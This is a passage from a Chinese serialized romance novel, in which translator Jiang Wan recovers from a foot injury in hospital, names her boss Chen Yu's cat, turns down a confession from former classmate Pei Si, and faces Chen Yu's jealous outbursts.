“你什么你?把人带去的时候你怎么和我说的?如果知道会发生这种事,我一开始就不会让你去。” 确实他有错,周海也没什么好解释的:“陈总,真的抱歉,要不我……” 他想提出解决方案,可陈宇却像是很疲惫似的,抬手打断他:“你走吧,带大家先回公司。” “那Annie这边?” “我来安排。” 和刚才比,陈屿的情绪已经缓和了不少,因为他自己也知道,这件事根本就不怪周海。刚才的愤怒与其说是针对周海,不如说是针对他自己更为合适。 是他闹别扭,是他在和姜挽赌气,也是他主动提出不参加这次论坛会议,所以才会在危险出现,他本该出现在她身边的时候反而缺席了。 要是时间倒流,一切重来一遍的话,他一定…… 一股寒风,灌进来阵阵凉意,与这凉意一同洒落的,还有满腔的悔意。 再次回到病房,医生已经给姜挽做完了基本检查,正要带她去拍片子。离开前,陈屿拦住他们:“等一下。” 对于他的去而再返,姜挽很惊讶,右脚悬在床边,她抬眸:“你不是走了吗?” “谁说我走了?”陈屿走近她,声音很沉。 “那你刚才?”姜挽指了指门口的方向,那意思是刚才明明看见他离开了。 离得近了,陈屿注意到她眼尾红红的,额角的鬓发也微微有些湿,可能是疼的,也可能是害怕,总之,她遇上这种事,有什么情绪都正常。 心疼,疼得恨不得替她承受,为了压抑这疯狂的念头,他不得不移开眼睛。 有些事情不是他想,就能做的。 他没立场,更没有身份。 “给你男朋友打电话,让他过来。”陈屿没回答她刚才的问题,而是另起了一个。 他这话题跳跃得太快,姜挽一时没跟上。 只不过她这一时的犹豫,看在陈屿眼里就不是那么回事了,天知道他刚才是下了怎样的决心才说出那句话的。 “怎么,你遇上这种事他都不出现?”他又回到了以往的尖锐,而且还带着一份他自己都没察觉到的嫉妒,“真他妈窝囊。” 姜挽这会儿已经反应过来了,虽然根本就没有这个人,但和这个比起来,她显然更在意陈屿在这种情况下讨论这件事,时间,地点,都不合适。 “能不能先不说这个?” “提都不能提吗?”陈屿居高临下地看着她,眼底的情绪姜挽看不懂,“就这样的人,你他妈还护着他?” 第二次了,他今天第二次在她面前说脏话。 姜挽睁大了眼睛,有点看不明白他。虽说以前他也挤兑她,但从来没有像今天这样不留情面。凛冽淡漠,残忍尖锐,已经完全不像他了。 姜挽刚想说什么,站在一旁的医生终于忍不住了,虽然他也知道不应该,不应该在一个如此大的领导谈话时打断,但在职业操守的迫使下,他最终还是开了口:“抱歉二位,有什么事情能不能待会儿再说,目前来看姜小姐的伤势还是需要尽快做进一步的检查。” 被打断,陈屿没再说什么,他看了姜挽一眼,随即退开一步让出通道。 姜挽也没再说什么,她原本就想早点结束这场对话,只不过擦肩而过的间隙,她似乎听到了一声叹息。 检查做的很快,结果出来的也很快,软组织受伤,没有出现骨折和移位,不需要住院,但需要药物治疗和康复训练。 知晓这个结果,姜挽松了一口气,至少目前来看不是特别严重,应该也不会对她的工作造成影响。 她原本还想着在医院处理完立马就能回家了,却没想到回到病房的时候却发现陈屿还在。 她没敢想陈屿是在专门等她,事实证明也并不是,因为他们一进门,陈屿便立马朝医生走了过去,很明显关心她的病情大过于她本身。 至于为什么会如此关心她的病情,除了担心她会给GSC带来影响外,姜挽想不到其他的理由。 不过这样也好,清清楚楚,泾渭分明。 医生把刚才和自己说的话又和陈屿说了一遍,连结论都是一模一样的,无需住院,在家里休养即可。 就在姜挽以为陈屿会和她一样松一口气时,他却突然开口:“不行,必须住院。” “为什么?” “您要求必须住院?” 两道声音同时响起,一个是姜挽,一个是医生,皆是一样的不理解。 “对,必须住院。”陈屿又强调了一遍。 知道他这个阶层的人,话一旦出口,就很难改变,于是医生也就很自觉地没再追问,而是立马安排旁边的人去办手续,但姜挽还想试一试:“其实不用这么麻烦的,我的脚真没什么大碍,回去养几天就好了。” 陈屿没看她,是不屑,还是不想,姜挽不知道:“有什么事情最好还是在医院解决,要是回家再发生点什么,就说不清了。” 言下之意就是让她有什么要求最好一次性在医院提出,不要回家了又整出什么幺蛾子。 一时间,病房很安静,只有窗外的冷风呼啸而过,让人觉得郁闷。 “您放心吧,我保证回家后不会再给GSC带来麻烦。” “你说了不算,”陈屿一锤定音,“给她办手续,费用挂在我账户上。” 就这样,姜挽莫名被安排了一周的住院。 一周的时间虽不算长,可对于她这种自毕业后就马不停蹄开始工作的人,已经算是奢侈了。 奢侈就代表不日常,也就意味着不习惯。 虽说陈屿也给了她在医院工作的权利,可毕竟这里不如办公室,干起活来不是很利索,每天完成必备的工作后,姜挽就再没心思去研究其他的,自然而然地,也就有很多时间空了出来。 前两天还好,时间一长就有点不习惯了,总觉得无聊,所以当尤伽她们说来看她时,她也就没拒绝。 最先来的是尤伽,是和孟云程一起来的,进门见到姜挽的右腿,脸色就再没好看过,先是把陈屿数落了一通,后来觉得不解气,又把火气撒在了孟云程身上。 孟云程委屈得不行,事情他不知道,可骂却一点没少挨。从医院出来后,他气不过,给陈屿发了一条微信:【我说你到底怎么想的,这次是真过分了啊,把人家姜挽都弄伤了!要是不行,你趁早撤,免得连累我和你一起被骂!】 可想而知的,这条微信发出去,并没有收到回复。 沈繁星是和林瑜同一天来的,不过林瑜来的早,沈繁星到的时候她正打算离开,姜挽简单介绍了下,两人擦肩而过,沈繁星的眼神久久没有收回来。 “看什么呢?你不是来看我的吗?”姜挽提醒她。 沈繁星大喇喇一笑,还是那股风风火火的脾气,把带过来的水果放在姜挽床头,顺势就在床边坐下:“我当然是来看你的,不过现在看你这状态不错,应该也没什么大事,”她话题一转,再次来到林瑜身上,“刚才那美女是你同事?” “是啊,叫林瑜,不是介绍过了吗,”姜挽从她带来的水果里拿出一根香蕉,“怎么,你对她感兴趣?” “有点。” 姜挽提醒她:“那你趁早打消这个念头,林瑜工作能力很强的,她估计只能看得上GSC那样的大公司,咱们公司应该入不了她的眼。” 她误会了,沈繁星也没再解释,从她手中接过吃完的香蕉皮,顺势丢进垃圾桶里:“那就算了,其实我这次来看你,还有其他的事要和你说。” 她突然这么正式,姜挽倒有些不习惯:“什么事呀,搞这么严肃。” “我想和你谈下外派GSC的事儿,”沈繁星流露出忧心忡忡的表情,“我有点后悔把你派来GSC了,这才多长时间呀,你就接二连三地发生了这么多事,要是实在不行就算了,你回公司,我再换个人来。” 这已经不是她第一次提这件事了,之前U盘事件的时候,沈繁星就在电话里提过,如果说当时还有开玩笑的成分在,那么现在,姜挽能看出来,她完全是真心的。 只不过她自己变了。 姜挽现在并不想退出,内心里她已经把这个项目当做是和陈屿的最后一点联系了,项目结束,他们之间的一切也就会结束,她贪心地想要把这最后一段走完。 姜挽半天不说话,沈繁星有点着急,拿手肘去碰她的胳膊:“我知道你在想什么,无非又是些公司发展未来的事,这些是重要,但总也重要不过你,要是真觉得不习惯,你就回来。” “不用了,”对上她灼灼的眼神,姜挽难免会触动,但错过这次,以后就再没机会了,“我还能坚持,再说了这些事情谁也不能预料,我以后多注意就行了。” “你真不想回公司?” 姜挽摇头。 “那行吧,你自己决定,但有一点我得提醒你,”沈繁星看着她,阳光下,眼睛格外明亮,“凡事都有个度,过了这个度,就算你自己再想坚持,我也不会允许了。” 姜挽心软了,语气也跟着软了:“放心吧,我知道的。” 65-70 第66章 失控 今天是姜挽住院的第四天, GSC帮她安排了护工,因为每天坚持药物治疗和康复训练,她的脚已经有了很大的好转,基本都能下床走路了。 念及此, 她便和医生提出能不能提前出院, 但很遗憾, 医生并没有同意:“姜小姐, 您知道的, 这件事我决定不了。” “明白了, ”姜挽理解,反应过来后也觉得自己有些考虑不周了,“抱歉, 那关于出院的事情我再和陈总商量。” 医生点点头, 表示认可。 医生离开后, 犹豫再三, 姜挽还是给陈屿发了一条微信过去:【我的脚恢复得差不多了,今天可以办理出院了吗?】 这个点, 他应该正在开会, 发完消息后姜挽也没想着他会立即回复,可没想到, 只是一转眼的功夫, 陈屿的微信便立马回了过来:【医生同意了?】 姜挽看着这几个字,有些郁闷, 他明知道的, 明知道没有他的允许,医生是不会同意的。 【还没有,医生说需要征求你的意见。】 【不行。】 果然是他的风格…… 姜挽左手摩挲着手机, 思考该如何回复他这句话,似乎太硬太软都不太合适,思来想去也没个所以然,索性还是决定实话实说:【坦白讲,是因为我在这里太无聊了,这样下来,对公司和我自己,都是一种浪费。】 这句发出去,陈屿那边倒是没再立即回复,正当姜挽以为有戏,他可能会同意的时候,冷冰冰的话语再次通过手机传了过来:【无聊就自己找事做,我没义务也没时间帮你解决这些私人问题。】 谈崩了,姜挽放下手机,长叹一口气。 下午的时候,姜挽做完一份翻译正打算歇一会儿,护工突然从外面进来说有人来看她,姜挽很纳闷,在北城,除了尤伽和沈繁星她们,她没和其他人说过她受伤的事,所以也想不到还会有谁会来看她。 门打开,还真是一个知道她受伤,她却怎么也不会想到的人…… 陈屿。 “怎么,看见我很吃惊?”陈屿看见她这一脸不自在的表情就觉得不舒服,他来这儿就这么让她吃惊吗?还是说她在等别人? 一想到这些,陈屿就忍不住皱眉:“你放心,我还没那么多闲工夫专门来看你,只不过是家里的猫生病了,恰巧过来而已。” 姜挽才注意到他手里还提着航空箱,里面果然有一只小猫,通身浅灰,大大的蓝眼睛,她一眼便认出,这是之前出现在他朋友圈,她不小心点赞过的那只。 只不过可能是因为生病的原因,这会儿小猫趴在箱子里一动不动,看起来没什么精神。 “它怎么了?”说着,姜挽就要下床。 陈屿制止了她,提着箱子放在她旁边的桌上:“感冒。” 航空箱随即被打开,可能是陌生的环境,小猫有些不适应,虚弱地叫了几声,姜挽立马伸手想要摸摸它的头表示安慰,可伸到一半,又忽地停住,抬头望向陈屿:“可以吗?” 陈屿没回答,算是默认了。 在姜挽的安抚下,小猫果然很快便再次安静了下来:“它好乖。”她忍不住开口。 “嗯,”陈屿看着眼前的画面,一不小心,眼底就流露出温情,但他很快便做了调整,“方便的话帮我看一会儿,我去给它拿药。” “方便,当然方便。”说这话的时候,姜挽快速抬了一下头,随即眼神再次落在了小猫身上。 不过,只这一瞬也够了,因为陈屿在她眼中看到那双拱桥一样的月牙眼又出现了,他就知道,她会喜欢。 拿药其实很快,又因为有医院的特殊安排,来回不过十分钟,当陈屿再次回到病房时,隔着房门,他听到姜挽在和小猫讲话,可能是因为太投入了,连他打开了房门都不知道。 隔着一条门缝,他去看。 姜挽已经下床了,把小猫也移到了靠近阳光的位置,可能是渴了,她用手捧了水喂给它,光线柔和,纱帘轻拂,照得她侧脸清透。 像松脂,又似琥珀,透亮包裹,纯净淡然,让人想到生命的底色,善良和爱意。 “你好漂亮。” “你要多喝点水哦,喝了水才能好得快。” “真乖。” 陈屿默默带上房门,转身离开了。 再回来时,已经是半个小时之后了,小猫可能累了,已经在航空箱里睡着了,只有姜挽一个人还坐着,对着它发呆。 听到开门声,她立马从凳子上起来:“你拿药回来了。” “嗯,”陈屿应一声,示意她坐下,“怎么样?好带吗?” “很好带,它很乖,”提到小猫,姜挽忍不住又笑了,“对了,刚才你走得太急,我还没来得及问它叫什么名字。” “没有名字。” 陈屿说得平淡,可听在姜挽耳朵里只觉得可惜,这么漂亮的小猫竟然没有名字。 “那你平时都怎么叫它?” “不叫。” “这样会不会有点不太好?” 陈屿抬眸看她,表情似乎很不爽。 姜挽忙解释:“我的意思是,小猫都是有灵性的,给它起个名字,它自己也会知道的,以后叫它,它也会和你更亲近。” 陈屿很随便:“你既然觉得这么重要,那你帮她起一个。” “可以吗?”幸福来得太突然,姜挽一下子没反应过来。 “你和它相处的时候,随你。” “那就叫‘小葡萄’,可以吗?”姜挽一秒都没有犹豫,几乎是脱口而出。这个名字其实当她第一次在陈屿朋友圈看到它照片的时候就想好了,她总觉得这只小猫的眼睛亮亮的,很像葡萄。 “我说了,仅限于你俩的相处,随你。” 说完这句,陈屿就打算走,离开前,他再次开口:“可能接下来几天我都会带它来看病,拿药的时候你帮忙看会儿,没问题吧?” “没问题,当然没问题了。” 几天的相处下来,小葡萄已经完全不认生了,也因为身体恢复了一些,和姜挽在一起的时候,偶尔竟然还会撒撒娇。 落地窗,冬日的暖阳下,姜挽一下下抚摸着它的后背:“小葡萄你知道吗,我以前也有过一只小猫,它叫‘小酒’,和你一样可爱。” 可能是很喜欢姜挽的触碰,小葡萄喵喵叫了两声。 姜挽看着它,思绪有些飘散:“它也很喜欢我摸它的后背,只是不知道它现在怎么样了。” 小葡萄当然是听不懂的,被她摸得舒服极了,干脆侧躺下来,闭上了眼睛。 姜挽弯了弯唇,搬了凳子过来,直接在它旁边坐着。 陈屿今天过来得格外晚,姜挽带着小葡萄玩儿了许久,又等它睡了一觉,陈屿才姗姗来迟。 这是她在这家医院的最后一天,她自然也就认为这是她和小葡萄的最后一次见面了,犹豫了再犹豫,在陈屿离开前,姜挽还是鼓起勇气开口:“我能不能拍一张小葡萄的照片?” 陈屿看了她一眼,没说什么,起身把位置让了出来。 “谢谢。” 说是一张,但一拍就停不下来,前后左右,正面和侧面,几乎能找到的方位姜挽全部拍了,好在陈屿倒是也没催她。 镜头里,小葡萄很乖,蓝色的眼睛,圆滚滚的身子,时光重叠的瞬间,姜挽有刹那间的恍惚。 下意识地,她脱口而出:“你后来有再去见过小酒吗?它怎么样?还好吗?” 陈屿原本正在整理航空箱,听到这话,手上的动作一顿,因为垂眸的动作,眼睛被额前的刘海遮住,他声音很淡:“你在乎吗?” 看不到他的眼睛,也看不到他的表情,在这不确定中,姜挽不安的情绪被放大:“在乎的。” “是吗?”陈屿抬眸,冷冷扫她一眼。 姜挽以为他不信,着急解释:“它是我捡的,我当然在乎。” “可当初也是你主动把它丢了,”陈屿居高临下,眉压着眼,一字一句,“像丢垃圾一样把它丢了,现在你又来说在乎,是不是前后矛盾了?” 他声音虽不大,可话里锋芒毕露,一点也没给姜挽留面子,每一个字,都仿佛一把利刃。 “我当时……” “你当时什么?” 姜挽抿唇:“算了,事情都过去了,说再多也没什么意义了。”更改变不了什么。 “怎么没意义?”陈屿很执拗,“有没有意义从来都不是你一个人来界定的,你别忘了,这件事情里,除了你,还有另外一位参与者。” 小酒,或者他自己,陈屿这会儿已经有点分不清了。 一样是被她抛弃,像垃圾一样被踢出了她的人生,时隔八年,站在时光的这一端,这个答案,他还是想知道。 可姜挽已经不想再提了,提了势必会牵扯出沈曼的事情,她实在不觉得以她目前和陈屿的关系,她能够和他讲这些。况且,就算她说了,而他又该以一个什么样的身份来聆听呢。 “真没什么。” “随你。”陈屿冷冷丢下一句,随即提着航空箱便离开了。 姜挽看着他的背影,有些不知所措,她也不明白,为何每次她和陈屿的谈话都会以这种不愉快的方式结束。 关上病房门,她开始收拾东西准备办出院手续,她的脚已经基本好了,况且一周时间已过,也到了陈屿之前要求的住院时间。 回去的路上,手机里突然进来一个陌生电话,号码来自东城,姜挽没印象,她一开始还以为是推销广告之类的,就没接。可谁知对方很坚持,紧接着便打来了第二个。 她这会儿正在出租车上,手边大包小包放着她从医院带回来的东西,实在没办法,姜挽便顺手把这些都归在了一起,滑开接听键:“您好,请问哪位?” 对方先是一阵沉默,随即一声苦笑:“你果然没存我电话。” 这声音一出,姜挽就知道是谁了,她确实没存他的电话,一来是忙,二来她确实也没有把这件事放在心上:“抱歉,之前太忙忘记了,请问你打电话有事吗?” “怎么,没事就不能给你打电话了?”电话那头,裴思还是一贯的温和语气。 可即便再温和,这话姜挽也不知该如何回答。 裴思像是知道她的想法,说完这句也没等,自己就又把话题接了过去:“一周后我要去北城出差,到时候会有一个翻译项目想和你们公司谈谈合作,方便吗?” 提到这些,姜挽的话倒是多了不少:“当然方便了,需要我把我们公司老板的电话发给你吗,到时候你可以直接和她联系。” “不用,有你的就够了,”裴思拒绝了,“对了,加个微信吧,到时候方便联系。” “好。” 姜挽报出了自己的电话号码,裴思那边很快输入,没多久,她便收到了一条“新朋友”的微信通知。 点击确认,姜挽抬头瞥见窗外的街景,快到家了:“你还有其他的事吗?” “怎么,着急挂?” “嗯。”姜挽没瞒他,但也没说着急的原因。 “好,那就不打扰你了,”裴思很好说话:“那先挂了,到时候联系。” “好,到时候再联系。” 挂了电话,没多久姜挽便到家了,正打算收拾从医院带回来的东西,微信里突然有新消息进来,是刚才加的裴思。 一共发了两条,一条是赛林公司的介绍,还有一条是一张照片,一张背影照,姜挽点开来看才发现是她自己,这个角度,这个方向,看起来像是那天她离开时拍的。 【没别的意思,在公司活动照片里发现的,觉得拍的还不错。】 【不用回复,你忙你的。】 姜挽本来还在思考该如何回复他这张照片,正好他这样说,她干脆放下手机,继续收拾东西去了。 自从加上裴思的微信,姜挽每天都会收到他的消息,有时是关于他们公司的资料,有时又是一两条翻译项目的信息,虽说都不多,可毕竟每天都有联系,这样一来,裴思无意中竟成了她这些天联系最多的人。 这天上午,姜挽正在公司翻译图纸,突然再次收到了裴思的微信,她原以为还是和之前一样的信息分享,就没着急看,等忙完再去看时,才发现他发的是一个定位,位置显示他此刻正在北城机场。 姜挽算了下时间,和他上次说的一周后会来北城确实差不多,但因为他之前没说是具体哪天,她一直还以为延期了,没想到竟然这么快。 【你已经到北城了?】姜挽在微信里问他。 【是啊,准确来说是一个小时前到的。】 【抱歉我刚才太忙了,没看到微信,】姜挽有些不好意思,【那你现在在哪儿呢?已经去办你的事了吗?】 【没有,还在机场,其他的事不着急,先见你,先谈项目翻译的事。】 那也就是说他这一个小时都在机场等着。 姜挽没再耽误,看了眼时间,现在马上十二点,如果约在一个不太远的地方,省掉吃午饭的时间,地铁来回,她应该可以在两点之前赶回来。 【方便把你酒店的地址发给我吗,我们可以在酒店附近找一个地方,我现在过去。】 她之所以这样说,是因为考虑在酒店附近的话他会比较方便,可没想到裴思却直接回复:【不用,在你公司附近就行。】 时间不算多,姜挽也就没再来回拉扯:【对环境有什么要求吗?】 【没有,随便一个能吃饭的地方就行,和环境比起来,我这会儿更在乎能不能填饱肚子。】 虽然他说没有,可姜挽还是翻遍了附近的美食点评软件,最终确定了一家评价不错的北城特色饭店,名字叫“风雅堂”。毕竟这次她代表的是佳译,和他之间也是甲方和乙方的关系,不能太随便。 四十分钟后裴思到了,他没让姜挽出门接,直接按着她提供的包厢号找到了。一路过来,流水,翠竹,还有屏风,丝丝入耳,曲径通幽,典型的中式园林风格。 最特别的当属每间包厢的窗户,不同于其他饭店的玻璃塑钢,这里采用了镂空雕花的材质,韵味十足,古色古香。 阳光照下来,光晕和树影交织晃动,恰好全都落在屋内姜挽的侧脸上,裴思从窗户看过去,她正在看菜单,看起来沉静又闪耀。 敲了两下门,裴思才推门进去:“看得怎么样?” 听到声音,姜挽回头,很是惊讶:“你到了?怎么没叫我出去接呢?” “这么点小事不用你做,我自己又不是找不到。” 他很随意,没什么架子,倒让一直有些紧张的姜挽也轻松了不少,礼貌微笑了下,她把账单推过去:“你看看想吃什么?” “我都行,你点吧。”裴思给她倒茶。 姜挽也没再推脱,按照正常请客吃饭的礼仪,特色菜,荤素混搭,汤和甜点,都有涉及。 饭桌上,裴思没提及项目的事儿,反倒是提了一些高中的事情,但分寸把握得很好,也不会让姜挽觉得不舒服。 他不提,姜挽自然也就不会主动问,两人就这么淡淡地聊着,到后来,许是觉得氛围还不错,裴思开口道:“对了,你当时离开北城之后其实我尝试联系过你,但没成功,方便问下你离开之后去了哪里吗?” 姜挽愣了一下,她从没想过裴思会联系她,毕竟在高中时他们确实也算不上熟悉。 “港城。” “难怪,”裴思喝了口茶,若有所思,安静了会儿才开口道,“其实大学的时候我去港城做过一年交换生,早知道你在港城的话,我当时可能就去找你了。” “找我?”姜挽很疑惑,“为什么?” 裴思笑了下,没再开口,只是把菜往她面前推,让她多吃点。 姜挽总觉得他今天有点奇怪,这顿饭的氛围也很奇怪,他像是有什么话要和她说,只是一直在等合适的时机。 陈屿今天和客户约在“风雅堂”吃饭,这里环境不错,北城菜也做的地道,接待客户什么的,宋泽宇一般都帮他安排在这里。 今天他们来的早,这个点已经吃完打算往回走了,路过一间包厢,恍惚间他好似看见了姜挽,退后两步确认,发现还真是她。 一扇小窗,忽地风起,镂空的花窗上浮着细碎的阳光和树影,落在她的侧脸上,一瞬间,陈屿看得出神。 她为什么会在这里?又是和谁一起的呢? 陈屿虽然想知道,但这终究也是她的私事。他正打算走,突然注意到一抹高大的身影从她对面起身,俯身给她倒茶,因为角度的原因,陈屿看不清对方的脸,但也不难猜出,那是一个品味不错的男人。 一瞬间,他几乎忘了呼吸,这难道就是她男朋友? 虽然已经预想过千万次,可当事情真正发生时,陈屿的第一反应还是一片空白,很快,思绪慢慢回神,愤怒,嫉妒,失控,还有各种痛苦的情绪同时在心底翻涌,让他脸色一片煞白。 宋泽宇发现了他的异常:“陈总,您没事吧?” “没事,你先带客户回去。” 对他的命令,宋泽宇一向很遵守:“好,那我们先走了,要是有事您再联系我。” 他们走后,陈屿尝试往前走了两步,理智和情感的对峙,他不是没有努力过。 可惜做不到。 脑子里不断闪回着刚才看到的画面,心底腾的升起一股火,他几步折返回去,推开包厢门,去他妈的“私事”! 包厢门突然被打开,姜挽吓了一跳,但看清门口站着的人是陈屿后,很快就放松了下来,起身朝门口走,准备问他有什么事。 裴思在她对面坐着,背对门口,因此这会儿并不知道发生了什么,但看姜挽的表情,他也知道此时门口有人:“怎么了?”他回头去看,只一眼,便愣住了。 陈屿也愣住了。 一对老冤家,谁也没想到会在这种情况下,以这种方式见面。但男人间的气场很奇怪,只一眼,便能立马洞悉对方的目的。 两个差不多年纪的年轻人,又有着类似的社会地位,如今因为同一个人对峙,狭路相逢,谁也不会轻易开口,谁也不愿意败下阵来。 见此情形,姜挽还以为他们都没认出对方,便主动给他们做了介绍,可待介绍完后,他们二人还是一副彼此不爱搭理的样子,这下,姜挽也感觉到气氛的怪异了。 “姜挽,你跟我出来。”陈屿越过裴思,直接和她说话,好在他这会儿还没有完全失控,还算是保留了一点理智。 姜挽以为他有着急的事,不然也不会在这个点找她,忙跟着他出去,经过裴思时朝他说了句“抱歉”,裴思还是那副很好说话的样子,让她先去处理,不用着急。 陈屿走得快,一个转身的功夫,姜挽便跟丢了。出了门,她一下子还没看见他,四处找了下才发现,他正站在一颗玉兰树下抽烟。 冬天的玉兰光秃秃的,一阵寒风,枝桠摇摆,陈屿猛地抽了一口,朝姜挽看过来。 指尖猩红明灭,轮廓隐匿青烟,这一刻,姜挽竟然从他的身上看到了颓唐和落拓。 她往前两步:“你叫我出来……” “姜挽。”陈屿打断她,声音很冷,裹着这冷风,簌簌扑在她脸上。 姜挽屏住呼吸。 烟蒂被陈屿捻灭,猩红在指尖跳跃,映在他的眼睛里:“你他妈真行,这么多年了,还是裴思呢?” 莫名其妙的话语,尖酸狠戾的语气,姜挽愣了一下才反应过来他的意思,情急之下,她脱口而出:“不是的,我们刚才只是……” “闭嘴!”陈屿突然打断他,暴躁,无理,满腔的情绪无法宣泄,他只能通过这种方式,也是害怕知道吧,“我不想知道你和他做了什么!” 姜挽被他吓到了,一时间愣在原地不敢再开口。风很大,吹得她眼睛有些涩。 胸口尖锐地疼,陈屿忍住了:“我叫你出来只是为了告诉你,我不管你跟谁接触,做了什么事,只一条,不要影响到工作!” 最后,他也只能通过这种不痛不痒的方式,毫无意义的约束来表达自己的情绪。 说完,甚至都没勇气听到她的回答,转身便走了。 陈屿走了,步子很大,连带起的风里似乎都有一股怒意,姜挽看着他的背影,在原地站了好一会儿才离开。 回到包厢,裴思敏锐地察觉到了她的异常。她和刚才的状态不一样了,准确来说是自从陈屿出现后,她的状态就不一样了。 整个人像是有了支点,紧张,担心,但同时也有在意和关注,一双眼睛都停在他身上,随着他动。 他大概能猜到几分。 可裴思的性格,不到最后一步,他是不会轻易放弃的,有些事情,他还想再争取一下。 于是,他给姜挽盛了一碗汤:“再喝点汤。” “不了,我吃饱了。”姜挽有些心不在焉。 果不其然,被拒绝了。 裴思苦笑了下,换了话题:“陈屿刚才找你是不是有什么事?” “嗯,工作上的一些事情,”姜挽没说实话,不知道为什么,她和陈屿之间的这些事情,她就是不想让第三个人知道。 “所以你和他……” “我外派的GSC就是他的公司。” 裴思一下就明白了:“原来如此。” “嗯。”姜挽还在想着刚才的事情,对裴思的话也没怎么在意。 “姜挽,”裴思突然叫她名字,随即坐直身体,整了整领带,“虽然知道结果可能不会改变,但有些事情我还是想和你说一下,不说的话,我怕以后就再没机会了。” 被他的严肃表情感染,姜挽也忍不住坐正了身体:“你想说什么事?” 裴思看着她的眼睛:“我必须坦诚地告诉你,我这次来北城并没有其他的安排,主要目的就是为了见你,自从上次在论坛见过之后,我就意识到自己对你是感兴趣的,想要更多地了解你。” 他说得很委婉,也没有过多越界的用词,而且说完后也不着急要姜挽的回复,只是一直安静地看着她。 可姜挽还是被吓到了。 她从来没想过这些话会从裴思口中说出来,除却高中的时候,她们毕竟才见第二次面啊。 她小心翼翼开口:“你是不是弄错了?” 裴思笑了笑,温和,但坚定,反问她:“你自己心底的感觉,会弄错吗?” 姜挽一下子就想到陈屿,突然意识到自己刚才的那个问题有多冒犯了:“抱歉。” 裴思摆摆手,表示不在意,继续开口道:“如果要追根溯源的话,我想高中的时候我对你就有某种特殊的情愫了吧,只不过当时你身边一直围着陈屿,我就是想说也没机会。” 听到陈屿的名字,姜挽没吭声。 看她这样,裴思就知道自己确定是没机会了,但该说的话,还是想说完:“虽然这些年我也陆陆续续接触了其他的女孩,但总觉得差了点什么,自从上次在论坛再次遇见你,我才明白差的那部分就是心动。所以,听完这些,你还会怀疑我的真心吗?” “抱歉。”他如此真诚,姜挽觉得自己要是再继续躲着不回应的话,就真说不过去了,“可是我……” “你不用着急回答我,可以慢慢考虑。”裴思很温柔。 可姜挽很坚决:“真的抱歉,其他事情或许可以考虑,但这件事情真的不能。就像你刚才说的,我很清楚自己的内心,要是一直考虑的话,才是对你的不尊重。” 裴思笑了下:“猜到了会是这样,但这些话说出来我也不后悔。而且现在说开了也好,我本来还打算慢慢来,计划多跑几趟北城,现在看来也不用了。” “真的抱歉。”除了这句,姜挽想不到她还能说些什么。 “这句话真不能再说了,”裴思皱眉,但态度依然很温和,“再说,就真的见外了,后续恐怕连合作都不能谈了。” “合作?” “是啊,你今天来,不就是为了和我谈合作的吗?” “我以为……”姜挽没好意思把这句话说完。 裴思自然地接过去:“你以为什么?以为这个项目没有了?”他温和地看着她,“不排除我一开始是在拿工作当借口,但工作是工作,个人是个人,我还是分得开的。要是因为你拒绝我,这个项目就不继续谈了,那我得多小心眼呀。再说了,我看过你们公司的介绍,做这个项目是足够的。” 听到这些,姜挽忙开口:“那我把公司简介拿给你。” “好。” 姜挽低头从包里拿文件,裴思看着她:“最后一个问题,”他还是想知道,“所以,你心里的那个人,一直都是陈屿吗?” 姜挽手上的动作顿住,这个问题,从来没有人问过她,她也一直都以为自己伪装得很好,可没想到和他不过才第二次见面,就被识破了。 她轻呼一口气,点了点头。 这一点,不仅承认了高中时的少女情怀,分开几年间的寤寐思服,还有如今再见时的依旧怦然心动。 裴思很淡地笑了下:“兜兜转转这么多年,没想到最后还是这个结果,输给他,我不亏。” 项目的后续事情,姜挽没有再跟,将项目的信息转给沈繁星后,她便立马安排了合适的人员来处理。 没过两天,裴思打算回东城,离开前,他约了几个北城的高中同学一起吃饭,当然不包括陈屿,姜挽怕尴尬也没去,倒是尤伽去了。 一回来就和姜挽说裴思现在多有能力,约的地方很高档,人也比高中时更帅更沉稳了,关键是还很温柔,但奇怪的是,她对他就是再没有高中时的那种感觉了。 觉得很好,但就是再没有心动的感觉。 姜挽听完后在电话里和她开玩笑:“这代表你长大了呀,已经不再是高中那个只看外表的小女孩了,看问题更全面了,是好事。” 她没和尤伽提之前和裴思吃饭的事情,那件事太出乎意料,姜挽至今想起来都还觉得像是在做梦。一段小插曲,所以也就没有和她说的必要。 尤伽很感慨:“这么说是没错了,但我也总觉得失去了很多东西,比如说激情啊,悸动啊,还有那些懵懵懂懂的心动。” 听她这么说,姜挽想了想,而后开口道:“有没有可能,你一开始对他就不是喜欢,只是少女时期模糊的滤镜,让你误把单纯的崇拜和欣赏当成了喜欢?” 她说完,很明显感觉到电话那头尤伽愣了一下,姜挽还以为她说过了,刚想道歉,突然听到尤伽开口:“那真正喜欢一个人,是什么样的感觉?” 很自然地,姜挽便想到陈屿,想到他们的第一次见面,还有这些年的点点滴滴:“开心,思念,牵挂,当然还有各种各样的担心和无奈,总之就是酸甜苦辣各种滋味都有,像一支裹着酸粉的棒棒糖,这一口是酸的,可能下一口就是甜的了。” 尤伽听完后忍不住感叹:“呦呦,你这也知道的太多了吧。” 姜挽担心她一会儿问太多问题,她没办法回答,便立马转移了话题:“我也是瞎说的,你就凑合着听吧,对了我还有翻译要做,先不和你聊了,晚点约你吃饭。” “好啊,那你先忙。” 挂了电话,姜挽忍不住又把陈屿的微信打开了,点进他的朋友圈去看,还是之前那些内容,并没有新增的部分。 要知道,以往隔一段时间她点进去,总能看到一些更新的内容,所以,她也一度以为陈屿就是一个十分喜爱分享生活的人。可如今再看,似乎也有例外。 坦白讲,面对这个结果姜挽倒没觉得多吃惊,虽然他们以前也经常会发生各种各样的分歧,产生争吵也是常事,但她总觉得这次的情况似乎和之前有些不太一样。 回想上次陈屿的表情,除了颓唐和落拓外,更让姜挽觉得难受的,是当时他脸上的失望。 寒风萧瑟,独自站立,朦朦胧胧投过来一眼,像是被全世界抛弃。 陈屿这几天酒喝多了,胃不舒服,公司也没怎么去。 那天的画面,他至今不敢回想,实在控制不住的时候,就只能通过喝酒来缓解。他其实不爱喝酒,辛辣,刺鼻,喝进胃里也是一阵火烧的灼热。 可酒不喝,心都要坏了。 今天晚上有尼斯项目组的聚餐,如今项目第一阶段的工作已经完成,为了鼓舞团队的士气,周海和他提出为大家组织一次公费聚餐,陈屿同意了。 其实这种级别的聚餐,他完全没必要参加的,所以当他穿上外套,整理袖口的时候,陈屿也觉得自己挺没出息的。 聚餐地点选在北城非常出名的一家轰趴馆,除了吃饭,还有各种各样的娱乐活动,担心他在,其他人会玩儿不自在,所以娱乐活动全程陈屿都没参加,只是找了个地方安静待着,反正他来这里,也不是为了参加这些的。 